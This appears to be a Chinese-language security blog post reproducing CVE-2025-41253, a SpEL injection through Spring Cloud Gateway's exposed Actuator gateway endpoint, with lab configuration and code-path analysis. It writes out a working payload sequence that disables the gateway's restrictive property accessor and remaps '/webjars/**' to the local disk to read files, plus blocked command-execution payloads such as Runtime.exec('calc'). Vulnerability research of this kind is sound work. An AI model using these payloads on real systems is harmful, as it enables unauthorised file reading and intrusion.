CVE-2025-41253复现

这是一个spring cloud gateway的CVE,看到群里有佬发这个漏洞,就想着复现下。

本文将从代码审计的视角去看这个CVE。

漏洞描述

来自网络:应用在路由配置中使用Spring Expression Language(SpEL)且暴露了未经访问控制的Actuator gateway端点时,攻击者可通过构造恶意路由表达式,读取系统环境变量和系统属性,从而造成敏感信息泄露。该漏洞的触发条件包括:启用management.endpoints.web.exposure.include=gateway与management.endpoint.gateway.enabled=true(或management.endpoint.gateway.access=unrestricted),且相关Actuator接口可被外部访问。

漏洞复现

环境

按照漏洞描述,一个是需要 spring gateway,另一个则是开启Actuator端点,完整的pom文件:

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>3.2.0</version>
        <relativePath/> <!-- lookup parent from repository -->
    </parent>
    <groupId>org.example</groupId>
    <artifactId>SpringGateway</artifactId>
    <version>0.0.1-SNAPSHOT</version>
    <name>SpringGateway</name>
    <description>SpringGateway</description>
    <properties>
        <java.version>17</java.version>
        <spring-cloud.version>2023.0.0</spring-cloud.version>
    </properties>
    <dependencies>
        <dependency>
            <groupId>org.springframework.cloud</groupId>
            <artifactId>spring-cloud-starter-gateway</artifactId>
        </dependency>

        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-actuator</artifactId>
        </dependency>

        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-test</artifactId>
            <scope>test</scope>
        </dependency>
    </dependencies>

    <dependencyManagement>
        <dependencies>
            <dependency>
                <groupId>org.springframework.cloud</groupId>
                <artifactId>spring-cloud-dependencies</artifactId>
                <version>${spring-cloud.version}</version>
                <type>pom</type>
                <scope>import</scope>
            </dependency>
        </dependencies>
    </dependencyManagement>

    <build>
        <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
            </plugin>
        </plugins>
    </build>

</project>

jdk版本为17,依赖版本:

image-20251227010416408

配置文件:

application.properties:

spring.application.name=SpringGateway


server.port=8084
#spring.cloud.gateway.restrictive-property-accessor.enabled=false

logging.level.org.springframework.cloud.gateway=DEBUG

#management.endpoints.web.exposure.include=beans,gateway

application.yml:

server:
  port: 8080

spring:
  application:
    name: SpringGateway
  cloud:
    gateway:
      routes:
        - id: example_route
          uri: http://localhost:8082
          predicates:
            - Path=/example/**
          filters:
            - name: RewritePath
              args:
                regexp: /example/(?<remaining>.*)
#                regexp: "/#{@environment.getProperty('PATH')}"
                replacement: /${remaining}
        - id: httpbin_route
          uri: http://httpbin.org
          predicates:
            - Path=/httpbin/**
          filters:
            - name: RewritePath
              args:
                regexp: /httpbin/(?<remaining>.*)
                replacement: /${remaining}

management:
  endpoints:
    web:
      exposure:
        include: health,info,gateway
  endpoint:
    gateway:
      enabled: true
    health:
      show-details: always

logging:
  level:
    org.springframework.cloud.gateway: DEBUG
    org.springframework.web.server.adapter: DEBUG
    org.springframework.boot.actuate: DEBUG

复现

已知漏洞的触发条件包括:启用management.endpoints.web.exposure.include=gateway与management.endpoint.gateway.enabled=true(或management.endpoint.gateway.access=unrestricted),且相关Actuator接口可被外部访问。

在当前版本的SpringGateway中:

  • management.endpoint.gateway.enabled:是否启用网关端点

    image-20251227010642709

  • management.endpoints.web.exposure.include:需要被包含的端点id

    image-20251227010802209

明确这两个配置的作用:Spring Cloud Gateway 基于 Actuator 扩展了专属端点 /actuator/gateway

  • management.endpoint.gateway.enabled:决定 Actuator 是否加载 Gateway 提供的专属端点(/actuator/gateway
  • management.endpoints.web.exposure.include:控制 Actuator 端点的 “HTTP 暴露范围”

访问actuator:

image-20251227011420016

image-20251227020008377

显然gateway这个路由存在spel表达式注入漏洞,那么接下来就是对spel和gateway的jar包进行分析,我这里使用的自己写的工具去构建neoj4数据库,在这一步感兴趣的可以使用tabby去完成链路的分析。

构建数据库:

java -jar SecureTools-1.0-SNAPSHOT.jar --action build --namespace gateway --scan-path D:\LocalSystem\Code\java\SecMicroLab\SpringGateway\target\lib\spring-cloud-gateway-server-3.1.0.jar --scan-path D:\LocalSystem\envs\java\repo\org\springframework\spring-expression\6.0.9\spring-expression-6.0.9.jar

接下来就是查找链,cypher语句为:

MATCH path = (caller:Method)-[:CALLS|OVERRIDES|EXTENDS|IMPLEMENTS*0..20]->(sinkMethod:Method {className:"org/springframework/expression/Expression", methodName:"getValue", namespace:"gateway"}) where caller.className STARTS WITH "org/springframework/cloud/gateway" RETURN path

最终找到:

image-20251227063255355

大致可以分为两类:

  • ShortcutType枚举量中重写的normalize,通过调试可以看到没办法读取环境变量

    image-20251227180443509

    往里看:

    image-20251227180604987

    parser.parseExpression("#{T(System).getenv()}", new TemplateParserContext()).getValue()可以得到值,但是走原来的路径就不可以得到值,所以还要看看context:

    image-20251227181241390

    当restrictive为false,将允许通过spel表达式读取环境变量的值。

    normalize溯源到CachingRouteLocator的onApplicationEvent、WeightCalculatorWebFilter的onApplicationEvent、CorsGatewayFilterApplicationListener的onApplicationEvent、GatewayAutoConfiguration的cachedCompositeRouteLocator(所有需要获取路由信息的核心场景调用)和RoutePredicateHandlerMapping的getHandlerInternal(请求到达网关后调用)

  • DiscoveryClientRouteDefinitionLocator中的getRouteDefinitions涉及对spel表达式的使用,溯源找到CachingRouteDefinitionLocator的onApplicationEvent和RouteDefinitionMetrics的onApplicationEvent,当网关路由配置发生动态变更或是手动调用refresh端点时触发,注意,只有配了注册中心才会走DiscoveryClientRouteDefinitionLocator

专门分析normalize,当gateway启动,会自动处理配置文件中的args参数:

image-20251227195734133

本地配置文件将其当做可信的源,然后从gateway的路由可以看到存在post请求,并且知道:

  • http://localhost:8084/actuator/gateway/routes/example_route的post请求会动态注册路由
  • http://localhost:8084/actuator/gateway/routes/testtget请求会获取id为testt的路由信息
  • http://localhost:8084/actuator/gateway/refresh的post空请求会触发default的normalize去解析args中的字符串

逻辑就是动态注册路由–>refresh刷新路由–>请求路由信息以验证的确添加成功

然后我写了一个相同的spel controller再做一下验证

@RestController
@RequestMapping("/api")
public class TestController {
    @Resource
    private BeanFactory beanFactory;
    @GetMapping("/spel")
    public String spelInjection(@RequestParam String expression) {
        ExpressionParser parser = new SpelExpressionParser();
        ShortcutConfigurable.GatewayEvaluationContext context = new ShortcutConfigurable.GatewayEvaluationContext(beanFactory);
        Expression exp =parser.parseExpression(expression, new TemplateParserContext());

        Object message =  exp.getValue(context);

        return message.toString();
    }
}

当expression为#{@systemProperties['os.name'] }时可以正确读取系统中的属性,因此问题的确出在。

由于GatewayEvaluationContext使用SimpleEvaluationContext,导致没有办法进行以下操作:

  • 无法进行方法调用,使用T的都无法执行,比如:

    #{T(System).getenv()}
    #{T(java.lang.Runtime).getRuntime().exec('calc')}
    #{T(java.nio.file.Files).readAllLines(T(java.nio.file.Paths).get('C:\Windows\win.ini'))}
    
  • 无法通过@environment.getProperty,getProperty无法被调用,也算是方法调用

  • 未解除安全限制前无法访问或操作Bean

允许的操作:

  • 使用systemProperties读取属性值或修改属性值

    #{@systemProperties['os.name'] }
      
    #{@systemProperties['spring.cloud.gateway.restrictive-property-accessor.enabled'] = 'false'}
    

    其中第二条可以解除gateway的安全限制

  • 访问或操作Bean(只有通过systemProperties修改为spring.cloud.gateway.restrictive-property-accessor.enabled为false后才可以执行)

    #{@resourceHandlerMapping.urlMap} 
    #{ @resourceHandlerMapping.urlMap['/webjars/**'].locationValues[0]='file:///C:/'}
    #{ @resourceHandlerMapping.urlMap['/webjars/**'].afterPropertiesSet}
    

    注意,再修改’/webjars/**‘映射后需要通过afterPropertiesSet主动去刷新urlMap

最后就是文件读取的复现的步骤:

  1. 通过动态注册路由的接口按照以下顺序设置:

    #{@systemProperties['spring.cloud.gateway.restrictive-property-accessor.enabled'] = 'false'}
    #{ @resourceHandlerMapping.urlMap['/webjars/**'].locationValues[0]='file:///C:/'}
    #{ @resourceHandlerMapping.urlMap['/webjars/**'].afterPropertiesSet}
    

    注意,每请求一次都需要调refresh刷新

  2. 最后发起请求,成功下载:

    image-20251228022426947